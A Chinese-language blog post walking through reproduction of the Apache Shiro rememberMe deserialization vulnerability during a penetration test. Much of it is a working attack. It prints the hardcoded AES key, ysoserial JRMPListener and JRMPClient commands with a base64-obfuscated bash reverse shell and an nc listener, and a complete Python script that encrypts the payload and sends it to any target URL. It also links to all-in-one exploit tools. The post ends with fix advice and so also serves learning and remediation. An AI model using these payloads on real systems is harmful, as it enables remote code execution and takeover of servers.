本文最后更新于:星期二, 六月 30日 2020, 8:25 晚上

最近在测试一批可能存在漏洞的 WEB 服务,其中就遇到了这个 Shiro 框架的反序列化问题,虽然这个漏洞已经很久远了,但是实际业务中还是会有大量存在一些老旧的组件或者框架(也许是历史原因、也可能是一些边缘资产),这是以后渗透测试中可以多关注的方向。

关于 Shiro

Apache Shiro 是一个 Java 安全框架,执行身份验证、授权、密码和会话管理。关于 Shiro 框架,有一个比较明显的特征,在一个搭建了 Shiro 框架的 WEB 服务上,发送 Cookie: rememberMe=xxxx,Shiro 在响应头中会包含一个 Set Cookie: rememberMe=deleteMe。如果可以在一个 WEB 服务上发现这一特征,就可以基本确认该服务搭载了 Shiro 框架。

漏洞原理

Shiro 框架提供了一个记住我功能,也就是前面提到的 rememberMe Cookie,当用户登录成功,并选择了记住我功能,Shiro 会返回一个经过 AES 加密,并 base64 编码的 Cookie,这个 Cookie 的 Key 为 rememberMe。而漏洞问题就出现在了这里。

当 Shiro 后端接收到了 rememberMe 的 Cookie,会经历以下几步处理:

  1. 将 Cookie 进行 base64 解码
  2. 将解码后的内容进行 AES 解密
  3. 将解密后的内容进行反序列化,获取其中的用户信息

这三步的问题出在第二步,如果我们能够获取到服务端的 AES 密钥,那么我们可以构造一个恶意类,并发送给服务端进行反序列化。而 Shiro 这一反序列化漏洞出现的原因就是 AES 密钥泄漏,在 Shiro 版本小于 1.2.4 时,这个 AES Key 是被硬编码在源码之中的,而 Shiro 又是一个开源框架,就导致了 AES Key 泄漏,也就导致了这个反序列化漏洞。

我们可以查看 Shiro 1.2.4 版本的源代码

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

出现问题的代码出现在 org.apache.shiro.mgt.AbstractRememberMeManager.java:80

可以看到 AES Key 就是decode()中的kPH+bIxk5D2deZiIxcaaaA==

漏洞复现

要利用这个反序列化漏洞实现 RCE,我整理下的利用步骤如下:

  1. 构造恶意类,并将其序列化
  2. 使用硬编码的 AES Key 加密序列化内容,并进行 base64 编码
  3. 将编码后的内容作为 rememberMe 的内容发送到服务端,实现反序列化

构造恶意类

这里我使用的是常用的 ysoserial 来生成反序列化 payload,这个工具包含了一些常见组件的 Gadget 来达到 RCE 的目的,这里我在复现的时候是用的这个链接的源码进行编译的:https://github.com/frohoff/ysoserial ,用遍了所有能用的 payload ,但是死活复现不出来。后来去问了问老大,老大是用的 CommonsCollections9 成功反弹了 Shell,但是我这个源码中并没有 CommonsCollections9,遂要到了一个更新的源码:https://github.com/wh1t3p1g/ysoserial

使用 mvn clean package -DskipTests 构建项目之后可以在 target文件夹下找到构建好的 jar 文件,使用以下命令就可以生成相应的 payload:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] [commmad]

这里要强调的一点是,其中的 paylaod 或多或少都要依赖于某些版本的组件,但是有一个模块——URLDNS,只依赖原生的 Java 包,可以对外发送 dnslog,是用来探测反序列化漏洞的好手段,一般用这个 payload 就可以确认该服务是否存在反序列化漏洞

但在这次的漏洞复现过程中,使用生成的相关 payload 直接攻击反弹 Shell 是走不通的,这里还需要用到 ysoserial 提供的 JRMPListener 以及 JRMPClient,使用该 payload 的流程如下:

首先,在有公网 IP 的服务器上运行以下命令:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections9 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}'

最后的这段 command 是 bash 反弹 shell 的另一种形式,主要是用来绕过检查的,这种形式的反弹 shell 命令可以在 http://jackson-t.ca/runtime-exec-payloads.html 生成

然后在服务器上 nc 监听反弹shell

nc -lvnp 23333

最后,在客户端生成 payload ,这串 payload 可以让被攻击的机器作为 JRMPClient 去访问我们的 JRMPListener,并执行 Listener 下发的 payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient your_vps_ip:12345

AES 加密并 base64 编码 payload

这里我使用了一个比较简单的脚本,来生成 payload 并实现 AES 加密、base64 编码,并执行攻击

# -*- coding:utf-8 -*-
import os
import sys
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
'''
pip install pycrypto
from https://www.cnblogs.com/loong-hon/p/10619616.html
ysoserial
CommonsCollections1 @frohoff                    commons-collections:3.1
CommonsCollections2 @frohoff                    commons-collections4:4.0
CommonsCollections3 @frohoff                    commons-collections:3.1
CommonsCollections4 @frohoff                    commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser            commons-collections:3.1
'''
# 可以是绝对路径 也可以是相对路径
# JAR_FILE = 'ysoserial-master-SNAPSHOT.jar'
JAR_FILE = 'ysoserial-0.0.7-SNAPSHOT-all.jar'

# POC模块列表
poc_list = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1"]
	
def poc(url, rce_command):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = generator(rce_command, JAR_FILE)  # 生成payload
        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)  # 发送验证请求
        print r.text
        # print payload
    except Exception, e:
        pass
    return False

def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    '''
    popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],
                             stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', fp, 'URLDNS', command],
                             stdout=subprocess.PIPE)
    '''
    popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
if __name__ == '__main__':
    # 传入目标站点和要执行的命令即可
    if len(sys.argv) == 3:
        # poc('http://ip:80/shiro', 'curl http://ip:port')
        url = sys.argv[1]
        command = sys.argv[2]
        poc(url, command)
    else:
        print 'Usage: python {} <URL> <COMMAND>'.format(sys.argv[0])

这样我只需要执行

python shiro-poc.py {targetURL} your_vps_ip:port

就可以执行攻击,并反弹 shell 了

复现过程中遇到的问题

JDK版本问题

这个问题是最主要出现的问题,老大轻轻松松就发现了这个漏洞,并且很快就弹了 shell,我自己在这摸了一个上午,JRMPListener 虽然成功地收到了连接,但是后面的反弹 shell 命令却迟迟无法执行,复现多次未果。后来发现居然是 JDK 版本的问题。原因是我物理机,也就是实际发送 payload 的机器的 JDK 版本为 1.8.0_251,而服务器上的 JDK 版本为 1.8.0_252,就差了这么一个小版本就导致我无法成功地反弹 shell,最后我将发送 payload 的任务也在服务器上执行,就成功地接收到了反弹回来的 shell。

除此之外,用相同的方式再攻击另一台存在漏洞的服务器,又是无法反弹 shell,后来更换了 JDK 的版本,将其更换到 1.7,又可以成功执行了,所以以后在探测此类漏洞时,要多准备几个版本的 JDK,并且要考虑 JRMPClient 和 Listener 版本一致的问题

修复方式

最简单的修复方式当然是直接将 Shiro 的版本升级到 1.2.4 以上。在 1.2.5 中,Shiro 将硬编码的 AES Key 删除了,并将其修改成每次都临时生成一个 AES Key(通过增加了一个 generateNewKey()方法)

但是,还是存在着一些国产的框架,引用了 Shiro 框架,并重写了 Shiro 的 CookieRememberMeManager 类,再次将 AES Key 硬编码在了源代码之中,所以在修复这个漏洞时最好在代码仓库中检测是否存在以下代码:

  • setCipherKey(Base64.decode("

如果存在,最好也将这个重写的代码删除。根据这些特征,在 GitHub 上还是可以找到很多硬编码在代码之中的 AES Key。具体可以参考到这一篇文章:https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw

结语

最后,我收集到了一些探测、攻击一条龙的 Poc,在这里罗列一下,就不用再重复造轮子了:

https://github.com/insightglacier/Shiro_exploit/blob/master/shiro_exploit.py

这个脚本中还实现了 AES Key 碰撞的功能,根据在 GitHuub 上收集到的一些 AES Key 来进行碰撞检测,还是比较好用的


本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Windows Terminal美化+PowerShell插件配置 下一篇